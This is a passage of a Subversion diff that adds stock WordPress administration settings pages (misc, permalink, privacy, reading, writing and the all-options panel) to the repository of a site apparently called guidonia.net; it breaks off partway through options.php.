+<input name="medium_size_h" type="text" id="medium_size_h" value="<?php form_option('medium_size_h'); ?>" class="small-text" />
+</fieldset></td>
+</tr>
+
+<tr valign="top">
+<th scope="row"><?php _e('Large size') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Large size') ?></span></legend>
+<label for="large_size_w"><?php _e('Max Width'); ?></label>
+<input name="large_size_w" type="text" id="large_size_w" value="<?php form_option('large_size_w'); ?>" class="small-text" />
+<label for="large_size_h"><?php _e('Max Height'); ?></label>
+<input name="large_size_h" type="text" id="large_size_h" value="<?php form_option('large_size_h'); ?>" class="small-text" />
+</fieldset></td>
+</tr>
+
+<?php do_settings_fields('media', 'default'); ?>
+</table>
+
+<?php do_settings_sections('media'); ?>
+
+<p class="submit">
+	<input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('Save Changes') ?>" />
+</p>
+
+</form>
+
+</div>
+
+<?php include('./admin-footer.php'); ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/options-misc.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/options-misc.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/options-misc.php	(revision 44)
@@ -0,0 +1,76 @@
+<?php
+/**
+ * Miscellaneous settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __('Miscellaneous Settings');
+$parent_file = 'options-general.php';
+
+include('admin-header.php');
+
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form method="post" action="options.php">
+<?php settings_fields('misc'); ?>
+
+<h3><?php _e('Uploading Files'); ?></h3>
+<table class="form-table">
+<tr valign="top">
+<th scope="row"><label for="upload_path"><?php _e('Store uploads in this folder'); ?></label></th>
+<td><input name="upload_path" type="text" id="upload_path" value="<?php echo esc_attr(str_replace(ABSPATH, '', get_option('upload_path'))); ?>" class="regular-text code" />
+<span class="description"><?php _e('Default is <code>wp-content/uploads</code>'); ?></span>
+</td>
+</tr>
+
+<tr valign="top">
+<th scope="row"><label for="upload_url_path"><?php _e('Full URL path to files'); ?></label></th>
+<td><input name="upload_url_path" type="text" id="upload_url_path" value="<?php echo esc_attr( get_option('upload_url_path')); ?>" class="regular-text code" />
+<span class="description"><?php _e('Configuring this is optional. By default, it should be blank.'); ?></span>
+</td>
+</tr>
+
+<tr>
+<th scope="row" colspan="2" class="th-full">
+<label for="uploads_use_yearmonth_folders">
+<input name="uploads_use_yearmonth_folders" type="checkbox" id="uploads_use_yearmonth_folders" value="1"<?php checked('1', get_option('uploads_use_yearmonth_folders')); ?> />
+<?php _e('Organize my uploads into month- and year-based folders'); ?>
+</label>
+</th>
+</tr>
+<?php do_settings_fields('misc', 'default'); ?>
+</table>
+
+<table class="form-table">
+
+<tr>
+<th scope="row" class="th-full">
+<label for="use_linksupdate">
+<input name="use_linksupdate" type="checkbox" id="use_linksupdate" value="1"<?php checked('1', get_option('use_linksupdate')); ?> />
+<?php _e('Track Links&#8217; Update Times') ?>
+</label>
+</th>
+</tr>
+<tr>
+
+</table>
+
+<?php do_settings_sections('misc'); ?>
+
+<p class="submit">
+	<input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('Save Changes') ?>" />
+</p>
+
+</form>
+</div>
+
+<?php include('./admin-footer.php'); ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/options-permalink.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/options-permalink.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/options-permalink.php	(revision 44)
@@ -0,0 +1,245 @@
+<?php
+/**
+ * Permalink settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __('Permalink Settings');
+$parent_file = 'options-general.php';
+
+/**
+ * Display JavaScript on the page.
+ *
+ * @package WordPress
+ * @subpackage Permalink_Settings_Panel
+ */
+function add_js() {
+?>
+<script type="text/javascript">
+//<![CDATA[
+function GetElementsWithClassName(elementName, className) {
+var allElements = document.getElementsByTagName(elementName);
+var elemColl = new Array();
+for (i = 0; i < allElements.length; i++) {
+if (allElements[i].className == className) {
+elemColl[elemColl.length] = allElements[i];
+}
+}
+return elemColl;
+}
+
+function upit() {
+var inputColl = GetElementsWithClassName('input', 'tog');
+var structure = document.getElementById('permalink_structure');
+var inputs = '';
+for (i = 0; i < inputColl.length; i++) {
+if ( inputColl[i].checked && inputColl[i].value != '') {
+inputs += inputColl[i].value + ' ';
+}
+}
+inputs = inputs.substr(0,inputs.length - 1);
+if ( 'custom' != inputs )
+structure.value = inputs;
+}
+
+function blurry() {
+if (!document.getElementById) return;
+
+var structure = document.getElementById('permalink_structure');
+structure.onfocus = function () { document.getElementById('custom_selection').checked = 'checked'; }
+
+var aInputs = document.getElementsByTagName('input');
+
+for (var i = 0; i < aInputs.length; i++) {
+aInputs[i].onclick = aInputs[i].onkeyup = upit;
+}
+}
+
+window.onload = blurry;
+//]]>
+</script>
+<?php
+}
+add_filter('admin_head', 'add_js');
+
+include('admin-header.php');
+
+$home_path = get_home_path();
+$iis7_permalinks = iis7_supports_permalinks();
+
+if ( isset($_POST['permalink_structure']) || isset($_POST['category_base']) ) {
+	check_admin_referer('update-permalink');
+
+	if ( isset($_POST['permalink_structure']) ) {
+		$permalink_structure = $_POST['permalink_structure'];
+		if (! empty($permalink_structure) )
+			$permalink_structure = preg_replace('#/+#', '/', '/' . $_POST['permalink_structure']);
+		$wp_rewrite->set_permalink_structure($permalink_structure);
+	}
+
+	if ( isset($_POST['category_base']) ) {
+		$category_base = $_POST['category_base'];
+		if (! empty($category_base) )
+			$category_base = preg_replace('#/+#', '/', '/' . $_POST['category_base']);
+		$wp_rewrite->set_category_base($category_base);
+	}
+
+	if ( isset($_POST['tag_base']) ) {
+		$tag_base = $_POST['tag_base'];
+		if (! empty($tag_base) )
+			$tag_base = preg_replace('#/+#', '/', '/' . $_POST['tag_base']);
+		$wp_rewrite->set_tag_base($tag_base);
+	}
+}
+
+$permalink_structure = get_option('permalink_structure');
+$category_base = get_option('category_base');
+$tag_base = get_option( 'tag_base' );
+
+if ( $iis7_permalinks ) {
+	if ( ( ! file_exists($home_path . 'web.config') && win_is_writable($home_path) ) || win_is_writable($home_path . 'web.config') )
+		$writable = true;
+	else
+		$writable = false;
+} else {
+	if ( ( ! file_exists($home_path . '.htaccess') && is_writable($home_path) ) || is_writable($home_path . '.htaccess') )
+		$writable = true;
+	else
+		$writable = false;
+}
+
+if ( $wp_rewrite->using_index_permalinks() )
+	$usingpi = true;
+else
+	$usingpi = false;
+
+$wp_rewrite->flush_rules();
+?>
+
+<?php if (isset($_POST['submit'])) : ?>
+<div id="message" class="updated fade"><p><?php
+if ( $iis7_permalinks ) {
+	if ( $permalink_structure && ! $usingpi && ! $writable )
+		_e('You should update your web.config now');
+	else if ( $permalink_structure && ! $usingpi && $writable)
+		_e('Permalink structure updated. Remove write access on web.config file now!');
+	else
+		_e('Permalink structure updated');
+} else {
+	if ( $permalink_structure && ! $usingpi && ! $writable )
+		_e('You should update your .htaccess now.');
+	else
+		_e('Permalink structure updated.');
+}
+?>
+</p></div>
+<?php endif; ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form name="form" action="options-permalink.php" method="post">
+<?php wp_nonce_field('update-permalink') ?>
+
+  <p><?php _e('By default WordPress uses web <abbr title="Universal Resource Locator">URL</abbr>s which have question marks and lots of numbers in them, however WordPress offers you the ability to create a custom URL structure for your permalinks and archives. This can improve the aesthetics, usability, and forward-compatibility of your links. A <a href="http://codex.wordpress.org/Using_Permalinks">number of tags are available</a>, and here are some examples to get you started.'); ?></p>
+
+<?php
+$prefix = '';
+
+if ( ! got_mod_rewrite() && ! $iis7_permalinks )
+	$prefix = '/index.php';
+
+$structures = array(
+	'',
+	$prefix . '/%year%/%monthnum%/%day%/%postname%/',
+	$prefix . '/%year%/%monthnum%/%postname%/',
+	$prefix . '/archives/%post_id%'
+	);
+?>
+<h3><?php _e('Common settings'); ?></h3>
+<table class="form-table">
+	<tr>
+		<th><label><input name="selection" type="radio" value="" class="tog" <?php checked('', $permalink_structure); ?> /> <?php _e('Default'); ?></label></th>
+		<td><code><?php echo get_option('home'); ?>/?p=123</code></td>
+	</tr>
+	<tr>
+		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[1]); ?>" class="tog" <?php checked($structures[1], $permalink_structure); ?> /> <?php _e('Day and name'); ?></label></th>
+		<td><code><?php echo get_option('home') . $prefix . '/' . date('Y') . '/' . date('m') . '/' . date('d') . '/sample-post/'; ?></code></td>
+	</tr>
+	<tr>
+		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[2]); ?>" class="tog" <?php checked($structures[2], $permalink_structure); ?> /> <?php _e('Month and name'); ?></label></th>
+		<td><code><?php echo get_option('home') . $prefix . '/' . date('Y') . '/' . date('m') . '/sample-post/'; ?></code></td>
+	</tr>
+	<tr>
+		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[3]); ?>" class="tog" <?php checked($structures[3], $permalink_structure); ?> /> <?php _e('Numeric'); ?></label></th>
+		<td><code><?php echo get_option('home') . $prefix  ; ?>/archives/123</code></td>
+	</tr>
+	<tr>
+		<th>
+			<label><input name="selection" id="custom_selection" type="radio" value="custom" class="tog"
+			<?php if ( !in_array($permalink_structure, $structures) ) { ?>
+			checked="checked"
+			<?php } ?>
+			 />
+			<?php _e('Custom Structure'); ?>
+			</label>
+		</th>
+		<td>
+			<input name="permalink_structure" id="permalink_structure" type="text" value="<?php echo esc_attr($permalink_structure); ?>" class="regular-text code" />
+		</td>
+	</tr>
+</table>
+
+<h3><?php _e('Optional'); ?></h3>
+<?php if ( $is_apache || $iis7_permalinks ) : ?>
+	<p><?php _e('If you like, you may enter custom structures for your category and tag <abbr title="Universal Resource Locator">URL</abbr>s here. For example, using <kbd>topics</kbd> as your category base would make your category links like <code>http://example.org/topics/uncategorized/</code>. If you leave these blank the defaults will be used.') ?></p>
+<?php else : ?>
+	<p><?php _e('If you like, you may enter custom structures for your category and tag <abbr title="Universal Resource Locator">URL</abbr>s here. For example, using <code>topics</code> as your category base would make your category links like <code>http://example.org/index.php/topics/uncategorized/</code>. If you leave these blank the defaults will be used.') ?></p>
+<?php endif; ?>
+
+<table class="form-table">
+	<tr>
+		<th><label for="category_base"><?php _e('Category base'); ?></label></th>
+		<td><input name="category_base" id="category_base" type="text" value="<?php echo esc_attr($category_base); ?>" class="regular-text code" /></td>
+	</tr>
+	<tr>
+		<th><label for="tag_base"><?php _e('Tag base'); ?></label></th>
+		<td><input name="tag_base" id="tag_base" type="text" value="<?php echo esc_attr($tag_base); ?>" class="regular-text code" /></td>
+	</tr>
+	<?php do_settings_fields('permalink', 'optional'); ?>
+</table>
+
+<?php do_settings_sections('permalink'); ?>
+
+<p class="submit">
+	<input type="submit" name="submit" class="button-primary" value="<?php esc_attr_e('Save Changes') ?>" />
+</p>
+  </form>
+<?php if ($iis7_permalinks) :
+	if ( isset($_POST['submit']) && $permalink_structure && ! $usingpi && ! $writable ) : ?>
+<p><?php _e('If your <code>web.config</code> file were <a href="http://codex.wordpress.org/Changing_File_Permissions">writable</a>, we could do this automatically, but it isn&#8217;t so this is the url rewrite rule you should have in your <code>web.config</code> file. Click in the field and press <kbd>CTRL + a</kbd> to select all. Then insert this rule inside of the <code>/&lt;configuration&gt;/&lt;system.webServer&gt;/&lt;rewrite&gt;/&lt;rules&gt;</code> element in <code>web.config</code> file.') ?></p>
+<form action="options-permalink.php" method="post">
+<?php wp_nonce_field('update-permalink') ?>
+	<p><textarea rows="10" class="large-text readonly" name="rules" id="rules" readonly="readonly"><?php echo esc_html($wp_rewrite->iis7_url_rewrite_rules()); ?></textarea></p>
+</form>
+<p><?php _e('If you temporarily make your <code>web.config</code> file writable for us to generate rewrite rules automatically, do not forget to revert the permissions after rule has been saved.')  ?></p>
+	<?php endif; ?>
+<?php else :
+	if ( $permalink_structure && ! $usingpi && ! $writable ) : ?>
+<p><?php _e('If your <code>.htaccess</code> file were <a href="http://codex.wordpress.org/Changing_File_Permissions">writable</a>, we could do this automatically, but it isn&#8217;t so these are the mod_rewrite rules you should have in your <code>.htaccess</code> file. Click in the field and press <kbd>CTRL + a</kbd> to select all.') ?></p>
+<form action="options-permalink.php" method="post">
+<?php wp_nonce_field('update-permalink') ?>
+	<p><textarea rows="6" class="large-text readonly" name="rules" id="rules" readonly="readonly"><?php echo esc_html($wp_rewrite->mod_rewrite_rules()); ?></textarea></p>
+</form>
+	<?php endif; ?>
+<?php endif; ?>
+
+</div>
+
+<?php require('./admin-footer.php'); ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/options-privacy.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/options-privacy.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/options-privacy.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * Privacy Options Settings Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once('./admin.php');
+
+$title = __('Privacy Settings');
+$parent_file = 'options-general.php';
+
+include('./admin-header.php');
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form method="post" action="options.php">
+<?php settings_fields('privacy'); ?>
+
+<table class="form-table">
+<tr valign="top">
+<th scope="row"><?php _e('Blog Visibility') ?> </th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Blog Visibility') ?> </span></legend>
+<p><input id="blog-public" type="radio" name="blog_public" value="1" <?php checked('1', get_option('blog_public')); ?> />
+<label for="blog-public"><?php _e('I would like my blog to be visible to everyone, including search engines (like Google, Sphere, Technorati) and archivers');?></label></p>
+<p><input id="blog-norobots" type="radio" name="blog_public" value="0" <?php checked('0', get_option('blog_public')); ?> />
+<label for="blog-norobots"><?php _e('I would like to block search engines, but allow normal visitors'); ?></label></p>
+<?php do_action('blog_privacy_selector'); ?>
+</fieldset></td>
+</tr>
+<?php do_settings_fields('privacy', 'default'); ?>
+</table>
+
+<?php do_settings_sections('privacy'); ?>
+
+<p class="submit">
+	<input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('Save Changes') ?>" />
+</p>
+</form>
+
+</div>
+
+<?php include('./admin-footer.php') ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/options-reading.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/options-reading.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/options-reading.php	(revision 44)
@@ -0,0 +1,87 @@
+<?php
+/**
+ * Reading settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __('Reading Settings');
+$parent_file = 'options-general.php';
+
+include('admin-header.php');
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form name="form1" method="post" action="options.php">
+<?php settings_fields('reading'); ?>
+
+<table class="form-table">
+<?php if ( get_pages() ): ?>
+<tr valign="top">
+<th scope="row"><?php _e('Front page displays')?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Front page displays')?></span></legend>
+	<p><label>
+		<input name="show_on_front" type="radio" value="posts" class="tog" <?php checked('posts', get_option('show_on_front')); ?> />
+		<?php _e('Your latest posts'); ?>
+	</label>
+	</p>
+	<p><label>
+		<input name="show_on_front" type="radio" value="page" class="tog" <?php checked('page', get_option('show_on_front')); ?> />
+		<?php printf(__('A <a href="%s">static page</a> (select below)'), 'edit-pages.php'); ?>
+	</label>
+	</p>
+<ul>
+	<li><?php printf("<label for='page_on_front'>".__('Front page: %s')."</label>", wp_dropdown_pages("name=page_on_front&echo=0&show_option_none=".__('- Select -')."&selected=" . get_option('page_on_front'))); ?></li>
+	<li><?php printf("<label for='page_for_posts'>".__('Posts page: %s')."</label>", wp_dropdown_pages("name=page_for_posts&echo=0&show_option_none=".__('- Select -')."&selected=" . get_option('page_for_posts'))); ?></li>
+</ul>
+<?php if ( 'page' == get_option('show_on_front') && get_option('page_for_posts') == get_option('page_on_front') ) : ?>
+<div id="front-page-warning" class="updated fade-ff0000">
+	<p>
+		<?php _e('<strong>Warning:</strong> these pages should not be the same!'); ?>
+	</p>
+</div>
+<?php endif; ?>
+</fieldset></td>
+</tr>
+<?php endif; ?>
+<tr valign="top">
+<th scope="row"><label for="posts_per_page"><?php _e('Blog pages show at most') ?></label></th>
+<td>
+<input name="posts_per_page" type="text" id="posts_per_page" value="<?php form_option('posts_per_page'); ?>" class="small-text" /> <?php _e('posts') ?>
+</td>
+</tr>
+<tr valign="top">
+<th scope="row"><label for="posts_per_rss"><?php _e('Syndication feeds show the most recent') ?></label></th>
+<td><input name="posts_per_rss" type="text" id="posts_per_rss" value="<?php form_option('posts_per_rss'); ?>" class="small-text" /> <?php _e('posts') ?></td>
+</tr>
+<tr valign="top">
+<th scope="row"><?php _e('For each article in a feed, show') ?> </th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('For each article in a feed, show') ?> </span></legend>
+<p><label><input name="rss_use_excerpt"  type="radio" value="0" <?php checked(0, get_option('rss_use_excerpt')); ?>	/> <?php _e('Full text') ?></label><br />
+<label><input name="rss_use_excerpt" type="radio" value="1" <?php checked(1, get_option('rss_use_excerpt')); ?> /> <?php _e('Summary') ?></label></p>
+</fieldset></td>
+</tr>
+
+<tr valign="top">
+<th scope="row"><label for="blog_charset"><?php _e('Encoding for pages and feeds') ?></label></th>
+<td><input name="blog_charset" type="text" id="blog_charset" value="<?php form_option('blog_charset'); ?>" class="regular-text" />
+<span class="description"><?php _e('The character encoding you write your blog in (UTF-8 is <a href="http://developer.apple.com/documentation/macos8/TextIntlSvcs/TextEncodingConversionManager/TEC1.5/TEC.b0.html">recommended</a>)') ?></span></td>
+</tr>
+<?php do_settings_fields('reading', 'default'); ?>
+</table>
+
+<?php do_settings_sections('reading'); ?>
+
+<p class="submit">
+	<input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('Save Changes') ?>" />
+</p>
+</form>
+</div>
+<?php include('./admin-footer.php'); ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/options-writing.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/options-writing.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/options-writing.php	(revision 44)
@@ -0,0 +1,135 @@
+<?php
+/**
+ * Writing settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __('Writing Settings');
+$parent_file = 'options-general.php';
+
+include('admin-header.php');
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form method="post" action="options.php">
+<?php settings_fields('writing'); ?>
+
+<table class="form-table">
+<tr valign="top">
+<th scope="row"><label for="default_post_edit_rows"> <?php _e('Size of the post box') ?></label></th>
+<td><input name="default_post_edit_rows" type="text" id="default_post_edit_rows" value="<?php form_option('default_post_edit_rows'); ?>" class="small-text" />
+<?php _e('lines') ?></td>
+</tr>
+<tr valign="top">
+<th scope="row"><?php _e('Formatting') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Formatting') ?></span></legend>
+<label for="use_smilies">
+<input name="use_smilies" type="checkbox" id="use_smilies" value="1" <?php checked('1', get_option('use_smilies')); ?> />
+<?php _e('Convert emoticons like <code>:-)</code> and <code>:-P</code> to graphics on display') ?></label><br />
+<label for="use_balanceTags"><input name="use_balanceTags" type="checkbox" id="use_balanceTags" value="1" <?php checked('1', get_option('use_balanceTags')); ?> /> <?php _e('WordPress should correct invalidly nested XHTML automatically') ?></label>
+</fieldset></td>
+</tr>
+<tr valign="top">
+<th scope="row"><label for="default_category"><?php _e('Default Post Category') ?></label></th>
+<td>
+<?php
+wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_category', 'orderby' => 'name', 'selected' => get_option('default_category'), 'hierarchical' => true));
+?>
+</td>
+</tr>
+<tr valign="top">
+<th scope="row"><label for="default_link_category"><?php _e('Default Link Category') ?></label></th>
+<td>
+<?php
+wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_link_category', 'orderby' => 'name', 'selected' => get_option('default_link_category'), 'hierarchical' => true, 'type' => 'link'));
+?>
+</td>
+</tr>
+<?php do_settings_fields('writing', 'default'); ?>
+</table>
+
+<h3><?php _e('Remote Publishing') ?></h3>
+<p><?php printf(__('To post to WordPress from a desktop blogging client or remote website that uses the Atom Publishing Protocol or one of the XML-RPC publishing interfaces you must enable them below.')) ?></p>
+<table class="form-table">
+<tr valign="top">
+<th scope="row"><?php _e('Atom Publishing Protocol') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Atom Publishing Protocol') ?></span></legend>
+<label for="enable_app">
+<input name="enable_app" type="checkbox" id="enable_app" value="1" <?php checked('1', get_option('enable_app')); ?> />
+<?php _e('Enable the Atom Publishing Protocol.') ?></label><br />
+</fieldset></td>
+</tr>
+<tr valign="top">
+<th scope="row"><?php _e('XML-RPC') ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('XML-RPC') ?></span></legend>
+<label for="enable_xmlrpc">
+<input name="enable_xmlrpc" type="checkbox" id="enable_xmlrpc" value="1" <?php checked('1', get_option('enable_xmlrpc')); ?> />
+<?php _e('Enable the WordPress, Movable Type, MetaWeblog and Blogger XML-RPC publishing protocols.') ?></label><br />
+</fieldset></td>
+</tr>
+<?php do_settings_fields('writing', 'remote_publishing'); ?>
+</table>
+
+<h3><?php _e('Post via e-mail') ?></h3>
+<p><?php printf(__('To post to WordPress by e-mail you must set up a secret e-mail account with POP3 access. Any mail received at this address will be posted, so it&#8217;s a good idea to keep this address very secret. Here are three random strings you could use: <kbd>%s</kbd>, <kbd>%s</kbd>, <kbd>%s</kbd>.'), wp_generate_password(8, false), wp_generate_password(8, false), wp_generate_password(8, false)) ?></p>
+
+<table class="form-table">
+<tr valign="top">
+<th scope="row"><label for="mailserver_url"><?php _e('Mail Server') ?></label></th>
+<td><input name="mailserver_url" type="text" id="mailserver_url" value="<?php form_option('mailserver_url'); ?>" class="regular-text code" />
+<label for="mailserver_port"><?php _e('Port') ?></label>
+<input name="mailserver_port" type="text" id="mailserver_port" value="<?php form_option('mailserver_port'); ?>" class="small-text" />
+</td>
+</tr>
+<tr valign="top">
+<th scope="row"><label for="mailserver_login"><?php _e('Login Name') ?></label></th>
+<td><input name="mailserver_login" type="text" id="mailserver_login" value="<?php form_option('mailserver_login'); ?>" class="regular-text" /></td>
+</tr>
+<tr valign="top">
+<th scope="row"><label for="mailserver_pass"><?php _e('Password') ?></label></th>
+<td>
+<input name="mailserver_pass" type="text" id="mailserver_pass" value="<?php form_option('mailserver_pass'); ?>" class="regular-text" />
+</td>
+</tr>
+<tr valign="top">
+<th scope="row"><label for="default_email_category"><?php _e('Default Mail Category') ?></label></th>
+<td>
+<?php
+wp_dropdown_categories(array('hide_empty' => 0, 'name' => 'default_email_category', 'orderby' => 'name', 'selected' => get_option('default_email_category'), 'hierarchical' => true));
+?>
+</td>
+</tr>
+<?php do_settings_fields('writing', 'post_via_email'); ?>
+</table>
+
+<h3><?php _e('Update Services') ?></h3>
+
+<?php if ( get_option('blog_public') ) : ?>
+
+<p><label for="ping_sites"><?php _e('When you publish a new post, WordPress automatically notifies the following site update services. For more about this, see <a href="http://codex.wordpress.org/Update_Services">Update Services</a> on the Codex. Separate multiple service <abbr title="Universal Resource Locator">URL</abbr>s with line breaks.') ?></label></p>
+
+<textarea name="ping_sites" id="ping_sites" class="large-text code" rows="3"><?php form_option('ping_sites'); ?></textarea>
+
+<?php else : ?>
+
+	<p><?php printf(__('WordPress is not notifying any <a href="http://codex.wordpress.org/Update_Services">Update Services</a> because of your blog&#8217;s <a href="%s">privacy settings</a>.'), 'options-privacy.php'); ?></p>
+
+<?php endif; ?>
+
+<?php do_settings_sections('writing'); ?>
+
+<p class="submit">
+	<input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('Save Changes') ?>" />
+</p>
+</form>
+</div>
+
+<?php include('./admin-footer.php') ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/options.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/options.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/options.php	(revision 44)
@@ -0,0 +1,143 @@
+<?php
+/**
+ * Options Management Administration Panel.
+ *
+ * Just allows for displaying of options.
+ *
+ * This isn't referenced or linked to, but will show all of the options and
+ * allow editing. The issue is that serialized data is not supported to be
+ * modified. Options can not be removed.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __('Settings');
+$this_file = 'options.php';
+$parent_file = 'options-general.php';
+
+wp_reset_vars(array('action'));
+
+$whitelist_options = array(
+	'general' => array( 'blogname', 'blogdescription', 'admin_email', 'users_can_register', 'gmt_offset', 'date_format', 'time_format', 'start_of_week', 'default_role', 'timezone_string' ),
+	'discussion' => array( 'default_pingback_flag', 'default_ping_status', 'default_comment_status', 'comments_notify', 'moderation_notify', 'comment_moderation', 'require_name_email', 'comment_whitelist', 'comment_max_links', 'moderation_keys', 'blacklist_keys', 'show_avatars', 'avatar_rating', 'avatar_default', 'close_comments_for_old_posts', 'close_comments_days_old', 'thread_comments', 'thread_comments_depth', 'page_comments', 'comments_per_page', 'default_comments_page', 'comment_order', 'comment_registration' ),
+	'misc' => array( 'use_linksupdate', 'uploads_use_yearmonth_folders', 'upload_path', 'upload_url_path' ),
+	'media' => array( 'thumbnail_size_w', 'thumbnail_size_h', 'thumbnail_crop', 'medium_size_w', 'medium_size_h', 'large_size_w', 'large_size_h', 'image_default_size', 'image_default_align', 'image_default_link_type' ),
+	'privacy' => array( 'blog_public' ),
+	'reading' => array( 'posts_per_page', 'posts_per_rss', 'rss_use_excerpt', 'blog_charset', 'show_on_front', 'page_on_front', 'page_for_posts' ),
+	'writing' => array( 'default_post_edit_rows', 'use_smilies', 'ping_sites', 'mailserver_url', 'mailserver_port', 'mailserver_login', 'mailserver_pass', 'default_category', 'default_email_category', 'use_balanceTags', 'default_link_category', 'enable_app', 'enable_xmlrpc' ),
+	'options' => array( '' ) );
+if ( !defined( 'WP_SITEURL' ) ) $whitelist_options['general'][] = 'siteurl';
+if ( !defined( 'WP_HOME' ) ) $whitelist_options['general'][] = 'home';
+
+$whitelist_options = apply_filters( 'whitelist_options', $whitelist_options );
+
+if ( !current_user_can('manage_options') )
+	wp_die(__('Cheatin&#8217; uh?'));
+
+switch($action) {
+
+case 'update':
+	if ( isset($_POST[ 'option_page' ]) ) {
+		$option_page = $_POST[ 'option_page' ];
+		check_admin_referer( $option_page . '-options' );
+	} else {
+		// This is for back compat and will eventually be removed.
+		$option_page = 'options';
+		check_admin_referer( 'update-options' );
+	}
+
+	if ( !isset( $whitelist_options[ $option_page ] ) )
+		wp_die( __( 'Error! Options page not found.' ) );
+
+	if ( 'options' == $option_page ) {
+		$options = explode(',', stripslashes( $_POST[ 'page_options' ] ));
+	} else {
+		$options = $whitelist_options[ $option_page ];
+	}
+
+	// Handle custom date/time formats
+	if ( 'general' == $option_page ) {
+		if ( !empty($_POST['date_format']) && isset($_POST['date_format_custom']) && '\c\u\s\t\o\m' == stripslashes( $_POST['date_format'] ) )
+			$_POST['date_format'] = $_POST['date_format_custom'];
+		if ( !empty($_POST['time_format']) && isset($_POST['time_format_custom']) && '\c\u\s\t\o\m' == stripslashes( $_POST['time_format'] ) )
+			$_POST['time_format'] = $_POST['time_format_custom'];
+	}
+
+	if ( $options ) {
+		foreach ( $options as $option ) {
+			$option = trim($option);
+			$value = null;
+			if ( isset($_POST[$option]) )
+				$value = $_POST[$option];
+			if ( !is_array($value) ) $value = trim($value);
+			$value = stripslashes_deep($value);
+			update_option($option, $value);
+		}
+	}
+
+	$goback = add_query_arg( 'updated', 'true', wp_get_referer() );
+	wp_redirect( $goback );
+	break;
+
+default:
+	include('admin-header.php'); ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+  <h2><?php _e('All Settings'); ?></h2>
+  <form name="form" action="options.php" method="post" id="all-options">
+  <?php wp_nonce_field('options-options') ?>
+  <input type="hidden" name="action" value="update" />
+  <input type='hidden' name='option_page' value='options' />
+  <table class="form-table">
+<?php
+$options = $wpdb->get_results("SELECT * FROM $wpdb->options ORDER BY option_name");
+
+foreach ( (array) $options as $option) :
+	$disabled = '';
+	$option->option_name = esc_attr($option->option_name);
+	if ( is_serialized($option->option_value) ) {
+		if ( is_serialized_string($option->option_value) ) {
+			// this is a serialized string, so we should display it
+			$value = maybe_unserialize($option->option_value);
+			$options_to_update[] = $option->option_name;
+			$class = 'all-options';
+		} else {
+			$value = 'SERIALIZED DATA';
+			$disabled = ' disabled="disabled"';
+			$class = 'all-options disabled';
+		}
+	} else {
+		$value = $option->option_value;
+		$options_to_update[] = $option->option_name;
+		$class = 'all-options';
+	}
+	echo "
+<tr>
+	<th scope='row'><label for='$option->option_name'>$option->option_name</label></th>
+<td>";
+
+	if (strpos($value, "\n") !== false) echo "<textarea class='$class' name='$option->option_name' id='$option->option_name' cols='30' rows='5'>" . esc_html($value) . "</textarea>";
+	else echo "<input class='regular-text $class' type='text' name='$option->option_name' id='$option->option_name' value='" . esc_attr($value) . "'$disabled />";
+
+	echo "</td>
+</tr>";
+endforeach;
+?>
+  </table>
